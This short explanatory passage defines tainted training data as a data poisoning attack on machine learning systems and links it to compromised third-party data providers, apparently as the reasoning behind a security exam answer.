Tainted training data is a type of data poisoning attack that involves modifying or injecting malicious data into the training dataset of a machine learning or artificial intelligence system. It can cause the system to learn incorrect or biased patterns and produce inaccurate or malicious outcomes. It is the most likely reason for the inaccuracy of the system that is using information collected from third-party providers that have been compromised by an attacker.